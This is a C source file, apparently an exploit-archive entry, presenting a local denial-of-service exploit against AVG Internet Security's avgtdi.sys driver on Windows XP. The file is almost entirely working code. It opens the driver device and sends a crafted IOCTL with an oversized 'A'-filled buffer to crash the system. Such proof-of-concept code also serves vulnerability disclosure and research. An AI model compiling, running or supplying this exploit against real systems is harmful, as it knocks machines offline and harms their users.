64 lines
No EOL
1.2 KiB
C
64 lines
No EOL
1.2 KiB
C
/*
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# Exploit Title: AVG Internet Security 0day Local DoS Exploit
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# Date: 2010-11-01
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# Author: Nikita Tarakanov (CISS Research Team)
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# Software Link: http://www.avg.com
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# Version: up to date, version 9.0.851, avgtdix.sys version 9.0.0.832
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# Tested on: Win XP SP3
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# CVE : CVE-NO-MATCH
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# Status : Unpatched
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*/
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#include <windows.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <io.h>
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#include <fcntl.h>
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#include <sys/types.h>
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#include <sys/stat.h>
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#include <errno.h>
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#include <share.h>
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int main(int argc, char **argv)
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{
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HANDLE hDevice;
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DWORD cb;
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void *buff;
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int outlen = 0x18, inlen = 0x10;
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DWORD ioctl = 0x830020C8;
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char deviceName[] = "\\\\.\\avgtdi";
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char logName[] = "avgtdi.log";
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if ( (hDevice = CreateFileA(deviceName,
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GENERIC_READ|GENERIC_WRITE,
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0,
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0,
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OPEN_EXISTING,
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0,
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NULL) ) != INVALID_HANDLE_VALUE )
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{
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printf("Device succesfully opened!\n");
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}
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else
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{
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printf("Error: Error opening device \n");
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return 0;
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}
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cb = 0;
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buff = malloc(0x1000);
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if(!buff){
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printf("malloc failed");
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return 0;
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}
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memset(buff, 'A', 0x1000-1);
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DeviceIoControl(hDevice, ioctl, (LPVOID)buff, inlen, (LPVOID)buff, outlen, &cb, NULL);
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free(buff);
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} |